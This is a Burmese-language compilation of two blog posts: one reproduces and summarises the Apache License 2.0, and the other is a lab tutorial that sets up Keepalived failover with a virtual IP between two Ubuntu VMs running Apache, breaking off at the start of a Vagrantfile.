ဒီ License ကိုတော့ Apache Software Foundation (ASF) ကနေပြီးတော့ စတင်သတ်မှတ်ပေးခဲ့တာဖြစ်ပါတယ်။ Apache License ဟာလည်း permissive license အမျိုးအစားနောက် တစ်ခုပါ။ permissive ဆိုတဲ့အတိုင်း ဒီ license ကိုအသုံးပြုချင်းအားဖြင့် ကိုယ့်ရဲ့ software ကို အကန့်အသတ် မရှိပဲ အခြားသူတွေကို ပေးသုံး၊ ပေးပြင်၊ ပေးဖြန့်ခွင့်ကို ပြုထားပါတယ်။ ၁၉၉၅ခုနှစ်အစပိုင်းမှာ အဲ့ဒီအချိန်က လူသုံးများလာတဲ့ Apache web server (httpd server) မှာအသုံးပြုဖို့ရာအတွက် 4-clause BSD License နဲ့ခပ်ဆင်ဆင် license တစ်ခုကို အသုံးအပြုရာကနေပြီးတော့၊ ၁၉၉၉ခုနှစ် အလယ်မှာ Berkeley ကနေ အရှေ့တပိုင်းမှာပြောတဲ့ advertising clause ကိုဖြုတ်ချလိုက်ပြီး 3-Clause BSD license လုပ်လိုက်နောက်မှာ၊ သူ့လိုပဲ Apache License 1.1 ဆိုပြီးတော့ သက္ကရာဇ် ၂၀၀၀မှာ ထပ်တခါထွက်လာခဲ့ပါတယ်။

၂၀၀၄ခုနှစ်မှာ နောက်တစ်ခါ BSD ကနေပြီးတော့ လုံးဝခွဲထွက်သွားတဲ့ License နောက်တစ်ခုထက်ပြီးတော့ ထုတ်မယ်ဆိုကာ Apache License 2.0 ဆိုပြီးတော့ အတည်ပြုပြန်ပါတယ်။ အဲ့ဒီ အချိန်ကတည်း အခုအချိန်ထိကို Apache License 2.0 ကို Apache License ဆိုပြီးတော့ပဲ အလွယ်ခေါ်ပါတော့တယ်။ အောက်မှာကတော့ သူ့ရဲ့ license မူရင်းဖြစ်ပါတယ်။ အသေးစိတ်ကို ရှင်းရှင်းလင်းလင်းဖွင့်ဆိုချက်တွေပေးထားတဲ့ permissive license တစ်ခုပါ။

Apache License\
Version 2.0, January 2004\
<http://www.apache.org/licenses/>

TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

1. Definitions.

“License” shall mean the terms and conditions for use, reproduction, and distribution as defined by Sections 1 through 9 of this document.

“Licensor” shall mean the copyright owner or entity authorized by the copyright owner that is granting the License.

“Legal Entity” shall mean the union of the acting entity and all other entities that control, are controlled by, or are under common control with that entity. For the purposes of this definition, “control” means (i) the power, direct or indirect, to cause the direction or management of such entity, whether by contract or otherwise, or (ii) ownership of fifty percent (50%) or more of the outstanding shares, or (iii) beneficial ownership of such entity.

“You” (or “Your”) shall mean an individual or Legal Entity exercising permissions granted by this License.

“Source” form shall mean the preferred form for making modifications, including but not limited to software source code, documentation source, and configuration files.

“Object” form shall mean any form resulting from mechanical transformation or translation of a Source form, including but not limited to compiled object code, generated documentation, and conversions to other media types.

“Work” shall mean the work of authorship, whether in Source or Object form, made available under the License, as indicated by a copyright notice that is included in or attached to the work (an example is provided in the Appendix below).

“Derivative Works” shall mean any work, whether in Source or Object form, that is based on (or derived from) the Work and for which the editorial revisions, annotations, elaborations, or other modifications represent, as a whole, an original work of authorship. For the purposes of this License, Derivative Works shall not include works that remain separable from, or merely link (or bind by name) to the interfaces of, the Work and Derivative Works thereof.

“Contribution” shall mean any work of authorship, including the original version of the Work and any modifications or additions to that Work or Derivative Works thereof, that is intentionally submitted to Licensor for inclusion in the Work by the copyright owner or by an individual or Legal Entity authorized to submit on behalf of the copyright owner. For the purposes of this definition, “submitted” means any form of electronic, verbal, or written communication sent to the Licensor or its representatives, including but not limited to communication on electronic mailing lists, source code control systems, and issue tracking systems that are managed by, or on behalf of, the Licensor for the purpose of discussing and improving the Work, but excluding communication that is conspicuously marked or otherwise designated in writing by the copyright owner as “Not a Contribution.”

“Contributor” shall mean Licensor and any individual or Legal Entity on behalf of whom a Contribution has been received by Licensor and subsequently incorporated within the Work.

1. Grant of Copyright License.

Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable copyright license to reproduce, prepare Derivative Works of, publicly display, publicly perform, sublicense, and distribute the Work and such Derivative Works in Source or Object form.

1. Grant of Patent License.

Subject to the terms and conditions of this License, each Contributor hereby grants to You a perpetual, worldwide, non-exclusive, no-charge, royalty-free, irrevocable (except as stated in this section) patent license to make, have made, use, offer to sell, sell, import, and otherwise transfer the Work, where such license applies only to those patent claims licensable by such Contributor that are necessarily infringed by their Contribution(s) alone or by combination of their Contribution(s) with the Work to which such Contribution(s) was submitted. If You institute patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Work or a Contribution incorporated within the Work constitutes direct or contributory patent infringement, then any patent licenses granted to You under this License for that Work shall terminate as of the date such litigation is filed.

1. Redistribution.

You may reproduce and distribute copies of the Work or Derivative Works thereof in any medium, with or without modifications, and in Source or Object form, provided that You meet the following conditions:

* You must give any other recipients of the Work or Derivative Works a copy of this License; and
* You must cause any modified files to carry prominent notices stating that You changed the files; and
* You must retain, in the Source form of any Derivative Works that You distribute, all copyright, patent, trademark, and attribution notices from the Source form of the Work, excluding those notices that do not pertain to any part of the Derivative Works; and
* If the Work includes a “NOTICE” text file as part of its distribution, then any Derivative Works that You distribute must include a readable copy of the attribution notices contained within such NOTICE file, excluding those notices that do not pertain to any part of the Derivative Works, in at least one of the following places: within a NOTICE text file distributed as part of the Derivative Works; within the Source form or documentation, if provided along with the Derivative Works; or, within a display generated by the Derivative Works, if and wherever such third-party notices normally appear. The contents of the NOTICE file are for informational purposes only and do not modify the License. You may add Your own attribution notices within Derivative Works that You distribute, alongside or as an addendum to the NOTICE text from the Work, provided that such additional attribution notices cannot be construed as modifying the License.

You may add Your own copyright statement to Your modifications and may provide additional or different license terms and conditions for use, reproduction, or distribution of Your modifications, or for any such Derivative Works as a whole, provided Your use, reproduction, and distribution of the Work otherwise complies with the conditions stated in this License.

1. Submission of Contributions.

Unless You explicitly state otherwise, any Contribution intentionally submitted for inclusion in the Work by You to the Licensor shall be under the terms and conditions of this License, without any additional terms or conditions. Notwithstanding the above, nothing herein shall supersede or modify the terms of any separate license agreement you may have executed with Licensor regarding such Contributions.

1. Trademarks.

This License does not grant permission to use the trade names, trademarks, service marks, or product names of the Licensor, except as required for reasonable and customary use in describing the origin of the Work and reproducing the content of the NOTICE file.

1. Disclaimer of Warranty.

Unless required by applicable law or agreed to in writing, Licensor provides the Work (and each Contributor provides its Contributions) on an “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied, including, without limitation, any warranties or conditions of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A PARTICULAR PURPOSE. You are solely responsible for determining the appropriateness of using or redistributing the Work and assume any risks associated with Your exercise of permissions under this License.

1. Limitation of Liability.

In no event and under no legal theory, whether in tort (including negligence), contract, or otherwise, unless required by applicable law (such as deliberate and grossly negligent acts) or agreed to in writing, shall any Contributor be liable to You for damages, including any direct, indirect, special, incidental, or consequential damages of any character arising as a result of this License or out of the use or inability to use the Work (including but not limited to damages for loss of goodwill, work stoppage, computer failure or malfunction, or any and all other commercial damages or losses), even if such Contributor has been advised of the possibility of such damages.

1. Accepting Warranty or Additional Liability.

While redistributing the Work or Derivative Works thereof, You may choose to offer, and charge a fee for, acceptance of support, warranty, indemnity, or other liability obligations and/or rights consistent with this License. However, in accepting such obligations, You may act only on Your own behalf and on Your sole responsibility, not on behalf of any other Contributor, and only if You agree to indemnify, defend, and hold each Contributor harmless for any liability incurred by, or claims asserted against, such Contributor by reason of your accepting any such warranty or additional liability.

END OF TERMS AND CONDITIONS

**APPENDIX: How to apply the Apache License to your work**

To apply the Apache License to your work, attach the following boilerplate notice, with the fields enclosed by brackets “\[]” replaced with your own identifying information. (Don’t include the brackets!) The text should be enclosed in the appropriate comment syntax for the file format. We also recommend that a file or class name and description of purpose be included on the same “printed page” as the copyright notice for easier identification within third-party archives.

```
   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

     http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.
```

ဒီ Apache License မှာတော့ အချက်ကြီး ၉ချက် ပါဝင်ပါတယ်။ ပထမဆုံး အချက်ကတော့ definitions လို့ခေါ်တဲ့ အဓိပ္ပာယ်ဖွင့်ဆိုချက်တွေပဲဖြစ်ပါတယ်။ ဒုတိယအချက်မှာတော့ Grant of Copyright License ဆိုပြီးတော့ ဒီ License နဲ့ပတ်သတ်တဲ့ Copyright License ကိုပါ လွပ်လွတ်စွာ အသုံးပြုခွင့် ပဲဖြစ်ပါတယ်။ တတိယအချက်က Grant of Patent License နဲ့ပတ်သတ်ပြီးတော့ ဥပဒေအရ သက်ဆိုင်တဲ့ အစိတ်အပိုင်းလေးတွေကို မည်သို့မည်ပုံ ခွင့်ပြုထားပုံနဲ့ တကွ၊ patent infringement လို့ခေါ်တဲ့ patent ဆိုင်ရာ ဥပဒေ ငြိစွန်းမူရှိခဲ့ရင် ဒီ license ဟာအလိုလောက် ပျက်ပြယ်ခွင့်ဆိုင်ရာကို စနစ်တကျဖွင့်ဆိုထားပါတယ်။ စထုတ္ထ အချက်ကတော့ redistribution လို့ခေါ်တဲ့ ပြန်လည် ဖြန့်ဝေခွင့်ဆိုင်ရာနဲ့ ပတ်သတ်တဲ့ အကြောင်းအရာတွေကို လေးချက်ထပ်ခွဲပြီးတော့ ဖွင့်ဆိုချက်ထုတ်ပါတယ်။ အကျဉ်းချုပ်အားဖြင့်တော့ software တစ်ခုကို ဒီ license နဲ့တွဲသုံးရင် ပြန်လည်ဖြန့်ဝေတဲ့နေရာမှာ ဒီ license ရဲ့ copy တစ်ခုကိုပါထည့်သွင်းပေးရမယ်။ ပြောင်းလွဲထားတဲ့ files တွေရှိခဲ့မယ်ဆိုရင်တဲ့ မည်သို့မည်ပုံ ပြင်ထားသလဲဆိုတာကို သေသေချာချာ notices တွေနဲ့ တကွချပြရမယ်လို့ဆိုထားပါတယ်။ နောက်တချက်မှာ ကိုယ့်အရှေ့မှာ copyright၊ patent၊ trademark နဲ့ attribution ဆိုတဲ့ အရာတွေပါရှိလို့နေရင် ဆက်လက်ပြီးတော့ ထည့်သွင်းဖော်ပြရပါ့မယ်။ နောက်ဆုံးအချက်ငယ်မှာတော့ notice text file တွေကို ဘယ်လိုသုံးရမလဲဆိုတာကို အဆင့်ဆင့်ရှင်းပြန်ပါတယ်။ အသေးစိတ်တော့ မရှင်းတော့ပါဘူး။ ဥပဒေဆိုင်ရာ အချက်တွေမို့ စာရေးသူလည်း လိုရင်းကိုသာဖော်ပြနိုင်ပြီးတော့ မူရင်းအဓိပ္ပာယ်အတိုင်း ထွက်ဖို့ရန် အားမထုတ်လိုပါ။

၄င်းနည်းတူ အချက်၅ ဖြစ်တဲ့ Submission of Contributions၊ အချက်နံပတ်၆ ဖြစ်တဲ့ Trademarks၊ နံပတ်စဉ် ၇ ဖြစ်တဲ့ Disclaimer of Warranty၊ အချက် ၈ဖြစ်တဲ့ Limitation of Liability နဲ့ နောက်ဆုံးအချက် ၉ ဖြစ်တဲ့ Accepting Warranty or Additional Liability တို့မှာလည်း ချဉ်းကပ်ပုံဟာ အရှေ့က License နှစ်ခုဖြစ်တဲ့ BSD နဲ့ MIT licenses တွေလောက် မရိုးရှင်းလှပါဘူး။ Apache License ရဲ့ တည်ဆောက်ပုံက စီးစီးပိုင်ပိုင်ရှိလွန်းလှပါတယ်။

စာရေးသူရဲ့ ဆန္ဒကတော့ အခုလိုမျိုး permissive license သုံးခုကို တခုချင်းစီချပြပြီးတော့ နှိုင်းယှဉ်စေလိုတာဖြစ်ပါတယ်။ GPL နဲ့ ကွာခြားတဲ့ အချက်လေးတွေကိုလည်း မြင်နိုင်တာမို့ လုံလောက်သင့်ပြီးလို့တော့ ထင်ပါတယ်။ ဒီ post ကိုတော့ ဒီလောက်နဲ့ပဲရပ်လိုက်ပါတော့မယ်။


# Keepalived မိတ်ဆက် – အပိုင်း (၁)

နည်းပညာနဲ့ ပတ်သတ်လာရင် Linux မှာလုပ်လို့ မရနိုင်တာ မရှိသလောက်ပါပဲ။ အခြားသော operating system တွေနဲ့ ကွာခြားချက်ကတော့ ကိုယ့်အိမ်မှာ စမ်းသပ်ချင်လို့လုပ်တဲ့ setup မှာရနိုင်တာနဲ့ production မှာစနစ်တကျ တည်ဆောက်ပြီးမှာရလာတဲ့ setupအတွက် ရနိုင်တာအများကြီး မကွာခြားပါဘူး။ Windows လို operating system မှာ trial တွေရနိုင်သော်လည်း ရေရှည်စမ်းသပ်အသုံးပြုဖို့အတွက်ကြတော့ ဘာမှများများစားစားမရှိသလိုမျိုးခံစားရပါတယ်။ တဘက်မှာလည်း BSD တို့လို alternative operating system တွေရှိသော်လည်း Linux မှာလောက်ပြီးပြည့်စုံတယ်လို့ မခံစားရပြန်ပါဘူး။ Tool တွေစုံစုံလင်လင်နဲ့ ပြီးပြည်စုံတဲ့ platform တစ်ခုလိုမျိုး စာရေးသူ အမြဲခံစားရပါတယ်။ အဲ့ဒါကြောင့်လည်း အရှေ့မှာထပ်ခါထပ်ခါ ပြောခဲ့သလိုမျိုးပဲ Linux operating system ကို မြတ်မြတ်နိုးနိုး စတင်လေ့လာလိုက်ကတည်းက နည်းပညာအတွက် သင်ကြားမှုမှာ ပိုမိုသင်ယူရလွယ်ကူလာပြီး တိုးတက်နှုန်းလည်း ပိုမြန်လာနိုင်တာတော့ စာရေးသူ တယောက်တည်းရဲ့ အတွေ့အကြုံ တစ်ခုတည်း ဖြစ်မယ်မထင်ပါဘူး။ ဒီ့အတွက် Linux လိုမျိုး ပြီးပြည့်စုံတဲ့ operating system တစ်ခုလည်းဖြစ်၊ open-source မှာလည်း လမ်းပြရှေ့ဆောင်လည်း ဖြစ်တဲ့အတွက် လေ့လာဖြစ်အောင်လေ့လာဖို့ကို တိုက်တွန်းလိုပါတယ်။

ဒီ post မှာတော့ Cisco routing နဲ့ switching မှာလုပ်လို့ရတဲ့ feature တစ်ခုဖြစ်တဲ့ Virtual Router Redundancy Protocol (VRRP) ကို routing and switching gear မပါပဲနဲ့ Linux ပေါ်မှာ setup လုပ်တဲ့ပုံစံကို မိတ်ဆက်ပေးလိုပါတယ်။ ပုံမှန်အားဖြင့် High Availability (HA) system တစ်ခုကိုတည်ဆောက်တော့မယ်ဆိုရင် VRRP ကို router တွေ switch တွေပေါ်မှာ configure လုပ်ကြပါတယ်။ အရှင်းဆုံးပြောရရင် VRRP ဟာ router နှစ်ခုကြားမှာ Virtual IP (VIP) ကိုအသုံးပြုပြီးတော့၊ router နှစ်ခုမှာ တစ်ခုလုံးဝ down သွားရင်တောင် ဆက်ပြီးတော့ routing နဲ့ switching မှာအလုပ်လုပ် အောင်သုံးတဲ့ redundancy protocol တစ်ခုပါ။ Cisco CLI မှာလည်း configure လုပ်ရတာ အရမ်းကြီးခက်ခဲတဲ့ အရာတော့မဟုတ်ပါဘူး။ IT networking နဲ့ ပတ်သတ်တဲ့ job interview တွေမှာဆို VRRP topic ဟာ မမေးမဖြစ် မေးခွန်းတစ်ခုပါ။ HA system တစ်ခုအတွက်အသုံးများတဲ့ topic တစ်ခုဖြစ်တဲ့အတွက် မသိမဖြစ်သိထားရမည့် အရာလည်းဖြစ်ပါတယ်။ အောက်မှာပြထားတဲ့ အတိုင်း ကိုယ့် network မှာအခုလိုမျိုး VRRP ကိုအသုံးပြုပြီးတော့ HA setup လုပ်နိုင်ပါတယ်။ သတိပြုရမှာက ပုံမှာကိုယ့်ရဲ့ server တွေကို Gateway မှာ router တစ်ခုချင်းစီရဲ့ IP ကို configure မလုပ်ပဲနဲ့ Virtual IP (VIP) ကိုအသုံးပြုရမှာဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-d977854b4f4a915efdcfa96aec4bd3d16b178ccb%2FVRRP1-1.png?alt=media" alt=""><figcaption></figcaption></figure>

ဒါဆိုရင် VRRP ကို router တွေမှာဘယ်လိုမျိုး အသုံးပြုနိုင်သလဲဆိုတာမျက်လုံးထဲမှာမြင်မယ်ထင်ပါတယ်။ ဟုတ်ပြီ… ဒါဆိုစာရေးသူတို့ VRRP လိုမျိုး keepalived ကို Ubuntu Linux 20.04 LTS VMs နှစ်ခုပေါ်မှာ Apache web server ကိုအသုံးပြုပြီးတော့ Lab တစ်ခုတည်ဆောက်ကြည့်ရအောင်။ ပထမဆုံးအနေနဲ့ လိုအပ်တဲ့ Ubuntu 20.04 LTS VMs နှစ်ခုကို အရင် install လုပ်ပြီးတော့ ပြင်ဆင်ရပါ့မယ်၊ ပြီးရင်တော့ လိုအပ်တဲ့ Apache နဲ့ Keepalived ကိုအောက်မှာပြထားတဲ့ အတိုင်း VM နှစ်ခုလုံးပေါ်မှာ apt နဲ့ လုပ်ပြီး service နှစ်ခုလုံးကို enable လုပ်မယ်၊ start လုပ်လိုက်ပါ့မယ်။ စာရေးသူ ပထမ VM ကို web1 လို့ ခေါ်ပြီး၊ ဒုတိယ တစ်ခုကိုတော့ web2 ဆိုပြီးတော့ နာမည်ပေးထားပါ့မယ်။

```
$ sudo apt update && sudo apt install -y apache2 keepalived
$ sudo systemctl enable apache2 keepalived
$ sudo systemctl start apache2 keepalived
```

အဲ့ဒါပြီးရင် install လုပ်ထားတဲ့ Apache နဲ့ Keepalived ကိုခပ်သွက်သွက်လေး အောက်ကအတိုင်း configure လုပ်လိုက်ရအောင်။ ပထမဆုံး web1 မှာ အခုလိုမျိုး configure လုပ်ရပါ့မယ်။ တခုသတိထားရမှာက keepalived.conf ကို အသစ် create လုပ်ရမှာဖြစ်ပါတယ်။ Keepalived ကို install လုပ်ပြီးရင်တောင် အဲ့ဒီ configuration file က /etc/keepalived/ မှာရှိမနေပါဘူး။

```
$ sudo echo web1 > /var/www/html/index.html
$ vim /etc/keepalived/keepalived.conf

# configuation for the virtual interface
vrrp_instance vi_1 {
    interface eth1
    state MASTER
    priority 101
    advert_int 1
    virtual_router_id 77
    unicast_src_ip 192.168.56.11
    unicast_peer {
        192.168.56.12
    }

    authentication {
        auth_type PASS
        auth_pass secret 
    }

    # the virtual ip address shared between the two servers
    virtual_ipaddress {
		192.168.56.69
    }
}

$ sudo systemctl restart keepalived
```

ပြီးရင် web2 ပေါ်မှာအောက်ကအတိုင်း ဆက်ပြီးတော့ configure လုပ်ပါ။

```
$ sudo echo web2 > /var/www/html/index.html
$ vim /etc/keepalived/keepalived.conf

# configuation for the virtual interface
vrrp_instance vi_1 {
    interface eth1
    state BACKUP
    priority 100
    advert_int 1
    virtual_router_id 77
    unicast_src_ip 192.168.56.12
    unicast_peer {
        192.168.56.11
    }

    authentication {
        auth_type PASS
        auth_pass secret 
    }

    # the virtual ip address shared between the two servers
    virtual_ipaddress {
		192.168.56.69
    }
}  

$ sudo systemctl restart keepalived 
```

ဒီမှာ စာရေးသူတို့ ဘာတွေ configure လုပ်ထားသလဲဆိုတာ နည်းနည်းရှင်းပြဖို့လိုပါတယ်။ Apache web ပေါ်မှာတော့ လွယ်ပါတယ်၊ /var/www/html/index.html အတွက်တော့ web1 မှာဆိုရင် web1 မှန်းသိအောင် echo နဲ့ insert လုပ်သွားတာပါ။ Keepalived အတွက် configuration မှာတော့ နည်းနည်းထပ်ရှင်းဖို့လိုပါလိမ့်မယ်။

```
vrrp_instance vi_1 { # ဒီတလိုင်းမှာတော့ vrrp ရဲ့ instance ID ကိုဖန်းတီးလိုက်တာပါ။ 
    interface eth1 # interface ဆိုတာကတော့ ကိုယ်serverရဲ့ network interface IDပါ။
    state MASTER # state မှာတော့ ဒီ server ကို active master node အနေနဲ့ထားတာပါ။ 
    priority 101 # priorityကတော့ nodeတွေရွေးရင်ဘယ် nodeကိုဦးစားပေးမလဲအတွက်ပါ။
    advert_int 1 # advertisement interval အတွက်ပါ။ hello packetနဲ့ ဆင်တူပါတယ်။ 
    virtual_router_id 77 # router ID ဖြစ်ပါတယ်။ node နှစ်ခုလုံးမှာID တူရပါ့မယ်။ 
    unicast_src_ip 192.168.56.11 # broadcast အစား unicastကို သုံးချင်လို့ပါ။ 
    unicast_peer {
        192.168.56.12 # unicast peer တွေအတွက်ထားတဲ့ placeholder ပါ။ 
    }
```

ဒီတပိုင်းမှာ unicast\_src\_ip နဲ့ unicast\_peer နှစ်ခုမထည့်လည်း ရပါတယ်။ သို့သော် security အတွက် broadcast အစား unicast ကို အသုံးပြုချင်လို့ ဖြစ်ပါတယ်။ နောက်တပိုင်းမှာတော့ authentication နဲ့ virtual\_ipaddress ကို သတ်မှတ်ပေးတာပါ။

```
authentication {
        auth_type PASS # authentication အမျိုးအစားထဲမှာမှ passwordကိုသုံးထားပါတယ်။
        auth_pass secret # ဒါကတော့ keepalivedအတွက် password ပါ။ 
    }

    # the virtual ip address shared between the two servers
    virtual_ipaddress {
		192.168.56.69 # ကိုယ်သုံးချင် Virtual IP (VIP) ပါ။
    }
} 
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ffc5a02b0f18e9b2ec1ee7df85ec190d0a5f778c%2FKeepalived1.png?alt=media" alt=""><figcaption></figcaption></figure>

web1 မှာ sudo systemctl status keepalived ဆိုပြီးတော့ service status ကြည့်လိုက်ရင် အောင်ကအတိုင်းတွေ့ရမှာပါ။

```
vagrant@web1:~$ sudo systemctl status keepalived
● keepalived.service - Keepalive Daemon (LVS and VRRP)
     Loaded: loaded (/lib/systemd/system/keepalived.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2022-06-11 06:15:31 UTC; 6min ago
   Main PID: 15463 (keepalived)
      Tasks: 2 (limit: 1071)
     Memory: 1.8M
     CGroup: /system.slice/keepalived.service
             ├─15463 /usr/sbin/keepalived --dont-fork
             └─15475 /usr/sbin/keepalived --dont-fork

Jun 11 06:15:31 web1 Keepalived[15463]: WARNING - keepalived was build for newer Linux 5.4.166, running>
Jun 11 06:15:31 web1 Keepalived[15463]: Command line: '/usr/sbin/keepalived' '--dont-fork'
Jun 11 06:15:31 web1 Keepalived[15463]: Opening file '/etc/keepalived/keepalived.conf'.
Jun 11 06:15:31 web1 Keepalived[15463]: Starting VRRP child process, pid=15475
Jun 11 06:15:31 web1 Keepalived_vrrp[15475]: Registering Kernel netlink reflector
Jun 11 06:15:31 web1 Keepalived_vrrp[15475]: Registering Kernel netlink command channel
Jun 11 06:15:31 web1 Keepalived_vrrp[15475]: Opening file '/etc/keepalived/keepalived.conf'.
Jun 11 06:15:31 web1 Keepalived_vrrp[15475]: Registering gratuitous ARP shared channel
Jun 11 06:15:31 web1 Keepalived_vrrp[15475]: (vi_1) Entering BACKUP STATE (init)
Jun 11 06:15:35 web1 Keepalived_vrrp[15475]: (vi_1) Entering MASTER STATE
```

web2 မှာကြည့်ရင်တော့ အခုလိုမျိုးတွေ့ရမှာပါ။

```
vagrant@web2:~$ sudo systemctl status keepalived
● keepalived.service - Keepalive Daemon (LVS and VRRP)
     Loaded: loaded (/lib/systemd/system/keepalived.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2022-06-11 06:17:53 UTC; 5min ago
   Main PID: 15143 (keepalived)
      Tasks: 2 (limit: 1071)
     Memory: 1.8M
     CGroup: /system.slice/keepalived.service
             ├─15143 /usr/sbin/keepalived --dont-fork
             └─15153 /usr/sbin/keepalived --dont-fork

Jun 11 06:17:53 web2 Keepalived[15143]: Starting Keepalived v2.0.19 (10/19,2019)
Jun 11 06:17:53 web2 Keepalived[15143]: WARNING - keepalived was build for newer Linux 5.4.166, running >
Jun 11 06:17:53 web2 Keepalived[15143]: Command line: '/usr/sbin/keepalived' '--dont-fork'
Jun 11 06:17:53 web2 Keepalived[15143]: Opening file '/etc/keepalived/keepalived.conf'.
Jun 11 06:17:53 web2 Keepalived[15143]: Starting VRRP child process, pid=15153
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Registering Kernel netlink reflector
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Registering Kernel netlink command channel
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Opening file '/etc/keepalived/keepalived.conf'.
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Registering gratuitous ARP shared channel
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: (vi_1) Entering BACKUP STATE (init)
```

ကိုယ်ကစမ်းချင်တယ်ဆိုရင်တော့ web browser ပဲဖြစ်ဖြစ်၊ terminalထဲမှာပဲဖြစ်ဖြစ် အောက်ကအတိုင်းရိုက်ထည့်ပြီးတော့ ကြည့်လို့ရပါတယ်။

```
$ watch -n 30 curl 192.168.56.69 

Every 30.0s: curl 192.168.56.69                                                                                                                                                       e32: Sat Jun 11 16:35:29 2022

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0 100     5  100     5    0     0   5000      0 --:--:-- --:--:-- --:--:--  5000
web1
```

web1 VM ကို shutdown လုပ်လိုက်မယ်ဆိုရင်တော့ အောက်ကအတိုင်း ပြောင်းသွားပါလိမ့်မယ်။ web2 ကို failover လုပ်သွားတာဖြစ်ပါတယ်။ ပြီးရင် web1 ကို boot ပြန်တက်လိုက်ပါ။

```
$ watch -n 30 curl 192.168.56.69 

Every 30.0s: curl 192.168.56.69                                                                                                                                                       e32: Sat Jun 11 16:35:29 2022

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
   0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0 100     5  100     5    0     0   5000      0 --:--:-- --:--:-- --:--:--  5000
web2
```

ရှင်းရှင်းလင်းလင်းတွေ့ချင်ရင်တော့ sudo systemctl status keepalived ကိုကြည့်လိုက်ရင် အခုလိုတွေ့ရမှာပါ။

```
vagrant@web1:~$ sudo systemctl status keepalived
● keepalived.service - Keepalive Daemon (LVS and VRRP)
Loaded: loaded (/lib/systemd/system/keepalived.service; enabled; vendor preset: enabled)
Active: active (running) since Sat 2022-06-11 06:26:53 UTC; 4min 16s ago
Main PID: 638 (keepalived)
Tasks: 2 (limit: 1071)
Memory: 4.6M
CGroup: /system.slice/keepalived.service
├─638 /usr/sbin/keepalived --dont-fork
└─723 /usr/sbin/keepalived --dont-fork

Jun 11 06:26:54 web1 Keepalived_vrrp[723]: Opening file '/etc/keepalived/keepalived.conf'.
Jun 11 06:26:54 web1 Keepalived_vrrp[723]: Registering gratuitous ARP shared channel
Jun 11 06:26:54 web1 Keepalived_vrrp[723]: (vi_1) Entering BACKUP STATE (init)
Jun 11 06:26:55 web1 Keepalived_vrrp[723]: (vi_1) received lower priority (100) advert from 192.168.56.>
Jun 11 06:26:56 web1 Keepalived_vrrp[723]: (vi_1) received lower priority (100) advert from 192.168.56.>
Jun 11 06:26:57 web1 Keepalived_vrrp[723]: (vi_1) received lower priority (100) advert from 192.168.56.>
Jun 11 06:26:57 web1 Keepalived_vrrp[723]: (vi_1) Entering MASTER STATE
Jun 11 06:27:01 web1 Keepalived_vrrp[723]: (vi_1) Entering BACKUP STATE
Jun 11 06:27:01 web1 Keepalived_vrrp[723]: (vi_1) sent 0 priority
Jun 11 06:27:01 web1 Keepalived_vrrp[723]: (vi_1) Entering MASTER STATE


vagrant@web2:~$ sudo systemctl status keepalived
● keepalived.service - Keepalive Daemon (LVS and VRRP)
     Loaded: loaded (/lib/systemd/system/keepalived.service; enabled; vendor preset: enabled)
     Active: active (running) since Sat 2022-06-11 06:17:53 UTC; 13min ago
   Main PID: 15143 (keepalived)
      Tasks: 2 (limit: 1071)
     Memory: 1.8M
     CGroup: /system.slice/keepalived.service
             ├─15143 /usr/sbin/keepalived --dont-fork
             └─15153 /usr/sbin/keepalived --dont-fork

Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Registering Kernel netlink reflector
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Registering Kernel netlink command channel
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Opening file '/etc/keepalived/keepalived.conf'.
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: Registering gratuitous ARP shared channel
Jun 11 06:17:53 web2 Keepalived_vrrp[15153]: (vi_1) Entering BACKUP STATE (init)
Jun 11 06:23:28 web2 Keepalived_vrrp[15153]: (vi_1) Backup received priority 0 advertisement
Jun 11 06:23:29 web2 Keepalived_vrrp[15153]: (vi_1) Entering MASTER STATE
Jun 11 06:26:58 web2 Keepalived_vrrp[15153]: (vi_1) Master received advert from 192.168.56.11 with highe>
Jun 11 06:26:58 web2 Keepalived_vrrp[15153]: (vi_1) Entering BACKUP STATE
Jun 11 06:27:01 web2 Keepalived_vrrp[15153]: (vi_1) Backup received priority 0 advertisement
```

web1 နဲ့ web2 Ubuntu 20.04 LTS server နှစ်လုံးကို အကုန်လုံး install လုပ်တာနဲ့ configure လုပ်တာ အချိန်ပေးရပါလိမ့်မယ်။ ဒီ့အတွက် စာရေးသူ Vagrant ကိုအသုံးပြုပြီးတော့ server နှစ်ခုကိုအောက်ကအတိုင်း stand up လုပ်ထားပါတယ်။

```
# -*- mode: ruby -*- 
# vi: set ft=ruby :

